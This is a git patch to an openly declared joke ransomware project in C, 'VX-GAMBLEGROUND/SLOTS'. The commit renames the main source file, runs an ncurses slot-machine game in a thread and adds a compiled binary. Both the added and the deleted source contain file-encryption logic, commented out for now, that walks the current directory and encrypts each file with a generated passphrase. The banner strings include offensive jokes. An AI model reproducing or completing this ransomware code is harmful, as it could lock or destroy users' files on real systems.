From 80ed3fd818905cb08ad04abc166a4b2c936955e3 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Fri, 30 Aug 2024 18:49:35 -0500 Subject: Rename main & get multithreading going --- src/Makefile | 6 +- src/VX-GAMBLEGROUND | Bin 0 -> 255936 bytes src/VX-GAMBLEGROUND.c | 213 ++++++++++++++++++++++++++++++++++++++++++++++++++ src/VX-GAMBLEGROUND.h | 25 ++++++ src/main.c | 207 ------------------------------------------------ src/main.h | 18 ----- src/runscreen.sh | 2 +- src/screen.h | 7 +- 8 files changed, 245 insertions(+), 233 deletions(-) create mode 100755 src/VX-GAMBLEGROUND create mode 100644 src/VX-GAMBLEGROUND.c create mode 100644 src/VX-GAMBLEGROUND.h delete mode 100644 src/main.c delete mode 100644 src/main.h diff --git a/src/Makefile b/src/Makefile index f7d05be..50fcbaf 100644 --- a/src/Makefile +++ b/src/Makefile @@ -3,7 +3,7 @@ CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggd LDLIBS = $$(pkg-config --libs libsodium) -lmenu $$(pkg-config --libs ncurses) SHELL := /usr/bin/env -S bash -BINARY_FILES := main.o encryption.o search.o screen.o ll.o main +BINARY_FILES := encryption.o search.o screen.o ll.o VX-GAMBLEGROUND.o VX-GAMBLEGROUND .PHONY: all clean @@ -12,10 +12,10 @@ all: $(BINARY_FILES) clean: rm -rvf $(BINARY_FILES) $(wildcard *.o) -main.o: main.c main.h +VX-GAMBLEGROUND.o: VX-GAMBLEGROUND.c VX-GAMBLEGROUND.h encryption.o: encryption.c encryption.h search.o: search.c search.h screen.o: screen.c screen.h ll.o: ll.c ll.h -main: $(wildcard *.o) \ No newline at end of file +VX-GAMBLEGROUND: $(wildcard *.o) \ No newline at end of file diff --git a/src/VX-GAMBLEGROUND b/src/VX-GAMBLEGROUND new file mode 100755 index 0000000..0b69d2f Binary files /dev/null and b/src/VX-GAMBLEGROUND differ diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c new file mode 100644 index 0000000..e905de4 --- /dev/null +++ b/src/VX-GAMBLEGROUND.c @@ -0,0 +1,213 @@ +/*** + * SLOTS - Feelin' Lucky? + * + * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money. + * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it + * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit + * + * +*/ + +#define _GNU_SOURCE + +#include "VX-GAMBLEGROUND.h" + +#include "encryption.h" +#include "search.h" +#include "screen.h" +#include "ll.h" + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#define PHRASESIZE 32 + +const char *argp_program_version = "Alpha-0.1"; +const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)"; + +static char doc[] = "lol"; +static char argdoc[] = "lmao"; + +static struct argp_option options[] = { + {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0}, + {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0}, + {"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0}, + {0} +}; + +static error_t parse_opt(int key, char *arg, struct argp_state *state) { + struct arguments *args = state->input; + + switch(key) { + case 'p': + /* Specifying the start option of "-p=" errors out unless this is done. + // Technically a user should use --passphrase= if they want to use the = sign, but I think + // this is how it should work. RMS can suck it */ + if(*arg == '=') + arg++; + + args->inputpass = arg; + if(strlen(args->inputpass) != PHRASESIZE) { + error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE); + } + break; + + case 'd': + args->flags |= SKIPSLOTS; + break; + + case 'n': + args->flags |= SKIPENC; + break; + + default: + return ARGP_ERR_UNKNOWN; + } + + return 0; +} + +static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0}; + + +int genphrase(char *phrase, size_t phrasesize) { + memset(phrase, 0, phrasesize); + for(size_t i = 0; i < phrasesize; i++) { + phrase[i] = randombytes_uniform(('Z' - 'A') + 1) + 'A'; + if(randombytes_random() > (0xffffffff / 2)) + phrase[i] += ('a' - 'A'); + } + + return 0; +} + +// roflmao fuck this project i'm too tired to bother with making it nice +int doslots(struct bullshit *stuff) { + // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted + stuff->handler = (struct sigaction){ + .sa_flags = SA_SIGINFO, + .sa_mask = SIGINT | SIGWINCH, + .sa_sigaction = catcher, + }; + doinit(&stuff->handler); + docolors(); + + getmaxyx(stdscr, stuff->row, stuff->col); + stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1); + stuff->banner = create_banner(stuff->col, stuff->randphrase); + + init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs); + stuff->menu = new_menu(stuff->items); + if(stuff->menu == NULL) { + endwin(); + error(1, errno, "Could not create menu"); + } + + stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0); + keypad(stuff->menuholder, TRUE); + init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC); + + stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0); + if(stuff->slots.slotwin == NULL) { + endwin(); + error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window"); + } + init_slotholder(&stuff->slots); + + doupdate(); + + stuff->params = (struct params){ + .bannerwin = stuff->banner, + .menu = stuff->menu, + .menuholder = stuff->menuholder, + .numspins = 3, + .price = 1, + .slots = &stuff->slots, + }; + + handle_input(stuff->menuholder, stuff->menu, &stuff->params); + + unpost_menu(stuff->menu); + free_menu(stuff->menu); + for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) + free_item(stuff->items[i]); + + endwin(); + + return 0; +} + +int doslots_twrapper(void *passed) { + return doslots((struct bullshit*)passed); +}; + + +int main(int argc, char *argv[]) { + struct arguments args = { + .inputpass = NULL, + .flags = 0 + }; + argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args); + + if(args.flags == (SKIPENC | SKIPSLOTS)) + error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure"); + + struct bullshit stuff; + thrd_t slots; + int err; + + if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success) + error(1, 0, "Thread creation failed"); + + + // if(args.inputpass != NULL) { + // printf("Using input passphrase \"%s\"\n", args.inputpass); + // } else { + // char phrase[PHRASESIZE]; + // genphrase(phrase, PHRASESIZE); + + // printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase); + + // if(args.flags & SKIPSLOTS != 0) { + // printf("Hit Enter to contine, or CTRL+C to cancel..."); + // getchar(); + // } + // } + + /* Get files + struct nodelist *files = scanfiles("./", alphasort); + + // Encrypt those files + for(struct nodelist *p = files; p != NULL; p = p->next) { + int fd = open(p->fullpath, O_RDWR); + if(fd < 0) { + error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); + continue; + } + + passencblock(fd, phrase); + close(fd); + } + + nodelist_delete(files); + //*/ + + thrd_join(slots, NULL); + + return 0; +} \ No newline at end of file diff --git a/src/VX-GAMBLEGROUND.h b/src/VX-GAMBLEGROUND.h new file mode 100644 index 0000000..80baacb --- /dev/null +++ b/src/VX-GAMBLEGROUND.h @@ -0,0 +1,25 @@ +#ifndef __SLOTS__VXGAMBLEGROUND_H__1443534935301 +#define __SLOTS__VXGAMBLEGROUND_H__1443534935301 + +#include "screen.h" + +struct arguments { + char *inputpass; + int flags; +}; +#define SKIPSLOTS 0x1 +#define SKIPENC 0x2 + +struct bullshit { + struct sigaction handler; + int row, col, randphrase; + + WINDOW *banner, *menuholder; + ITEM *items[STATIC_ARRSIZE(menu_choices) + 1]; + MENU *menu; + + struct slotholder slots; + struct params params; +}; + +#endif \ No newline at end of file diff --git a/src/main.c b/src/main.c deleted file mode 100644 index 564846d..0000000 --- a/src/main.c +++ /dev/null @@ -1,207 +0,0 @@ -/*** - * SLOTS - Feelin' Lucky? - * - * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money. - * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it - * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit - * - * -*/ - -#define _GNU_SOURCE - -#include "main.h" - -#include "encryption.h" -#include "search.h" -#include "screen.h" -#include "ll.h" - -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -#define PHRASESIZE 32 - -const char *argp_program_version = "Alpha-0.1"; -const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)"; - -static char doc[] = "lol"; -static char argdoc[] = "lmao"; - -static struct argp_option options[] = { - {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0}, - {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0}, - {"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0}, - {0} -}; -#define SKIPSLOTS 0x1 -#define SKIPENC 0x2 - -struct arguments { - char *inputpass; - int flags; -}; - -static error_t parse_opt(int key, char *arg, struct argp_state *state) { - struct arguments *args = state->input; - - switch(key) { - case 'p': - /* Specifying the start option of "-p=" errors out unless this is done. - // Technically a user should use --passphrase= if they want to use the = sign, but I think - // this is how it should work. RMS can suck it */ - if(*arg == '=') - arg++; - - args->inputpass = arg; - if(strlen(args->inputpass) != PHRASESIZE) { - error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE); - } - break; - - case 'd': - args->flags |= SKIPSLOTS; - break; - - case 'n': - args->flags |= SKIPENC; - break; - - default: - return ARGP_ERR_UNKNOWN; - } - - return 0; -} - -static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0}; - - -int genphrase(char *phrase, size_t phrasesize) { - memset(phrase, 0, phrasesize); - for(size_t i = 0; i < phrasesize; i++) { - phrase[i] = randombytes_uniform(('Z' - 'A') + 1) + 'A'; - if(randombytes_random() > (0xffffffff / 2)) - phrase[i] += ('a' - 'A'); - } - - return 0; -} - -// roflmao fuck this project i'm too tired to bother with making it nice -int doslots(struct bullshit *stuff) { - // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted - stuff->handler = (struct sigaction){ - .sa_flags = SA_SIGINFO, - .sa_mask = SIGINT | SIGWINCH, - .sa_sigaction = catcher, - }; - doinit(&stuff->handler); - docolors(); - - getmaxyx(stdscr, stuff->row, stuff->col); - stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1); - stuff->banner = create_banner(stuff->col, stuff->randphrase); - - init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs); - stuff->menu = new_menu(stuff->items); - if(stuff->menu == NULL) { - endwin(); - error(1, errno, "Could not create menu"); - } - - stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0); - keypad(stuff->menuholder, TRUE); - init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC); - - stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0); - if(stuff->slots.slotwin == NULL) { - endwin(); - error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window"); - } - init_slotholder(&stuff->slots); - - doupdate(); - - stuff->params = (struct params){ - .bannerwin = stuff->banner, - .menu = stuff->menu, - .menuholder = stuff->menuholder, - .numspins = 3, - .price = 1, - .slots = &stuff->slots, - }; - - handle_input(stuff->menuholder, stuff->menu, &stuff->params); - - unpost_menu(stuff->menu); - free_menu(stuff->menu); - for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) - free_item(stuff->items[i]); - - endwin(); - - return 0; -} - -int main(int argc, char *argv[]) { - struct arguments args = { - .inputpass = NULL, - .flags = 0 - }; - argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args); - - if(args.flags == (SKIPENC | SKIPSLOTS)) - error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure"); - - struct bullshit stuff; - doslots(&stuff); - - // if(args.inputpass != NULL) { - // printf("Using input passphrase \"%s\"\n", args.inputpass); - // } else { - // char phrase[PHRASESIZE]; - // genphrase(phrase, PHRASESIZE); - - // printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase); - - // if(args.flags & SKIPSLOTS != 0) { - // printf("Hit Enter to contine, or CTRL+C to cancel..."); - // getchar(); - // } - // } - - /* Get files - struct nodelist *files = scanfiles("./", alphasort); - - // Encrypt those files - for(struct nodelist *p = files; p != NULL; p = p->next) { - int fd = open(p->fullpath, O_RDWR); - if(fd < 0) { - error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); - continue; - } - - passencblock(fd, phrase); - close(fd); - } - - nodelist_delete(files); - //*/ - - return 0; -} \ No newline at end of file diff --git a/src/main.h b/src/main.h deleted file mode 100644 index 579e541..0000000 --- a/src/main.h +++ /dev/null @@ -1,18 +0,0 @@ -#ifndef __SLOTS__MAIN_H__1443534935301 -#define __SLOTS__MAIN_H__1443534935301 - -#include "screen.h" - -struct bullshit { - struct sigaction handler; - int row, col, randphrase; - - WINDOW *banner, *menuholder; - ITEM *items[STATIC_ARRSIZE(menu_choices) + 1]; - MENU *menu; - - struct slotholder slots; - struct params params; -}; - -#endif \ No newline at end of file diff --git a/src/runscreen.sh b/src/runscreen.sh index 7873451..7df189b 100755 --- a/src/runscreen.sh +++ b/src/runscreen.sh @@ -3,7 +3,7 @@ # This file exists because I've gotten to the point where I need to open the terminal in specific dimensions # or the thing looks bad -BINNAME="main" +BINNAME="VX-GAMBLEGROUND" SCRIPT_DIR="$(cd "$(dirname "$0")" && echo "$PWD")" main() { diff --git a/src/screen.h b/src/screen.h index 2d4f610..efe7335 100644 --- a/src/screen.h +++ b/src/screen.h @@ -6,7 +6,6 @@ #include #define phrases (const char *[]){\ - /* By @syxhe on Telegram */\ "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES",\ "R.I.P VxHeaven",\ "tmp(2) nuked by Smelly",\ @@ -30,7 +29,7 @@ "Check out \"Darknet Diaries\"",\ "Chill and losing it since 2016",\ "POOL'S CLOSED",\ - "I've been diagnosed with snaids",\ + "I've been diagnosed with snaids (snail aids)",\ "My balls itch",\ "We killin filez and shiit",\ "lonix users BTFO once again",\ @@ -72,13 +71,13 @@ "Shoutout Elliot Alderson",\ "Ted Kaczynski was right",\ "The FBI watches me jerk off to MILFs lol",\ - "robux generator free online 2024 100% working undetected",\ + "robux generator free online 2024 100%% working undetected",\ "Doge wuz here",\ "We like Fortnite we like Fortnite",\ "We live in a society",\ "Hab you seen a alien pls?",\ "using a flipperzero makes me an APT, right?",\ - "Subscribe to PewDiePie",\ + "Subscribe to PewDiePie"\ } #define menu_choices (const char *[]){\ -- cgit v1.2.3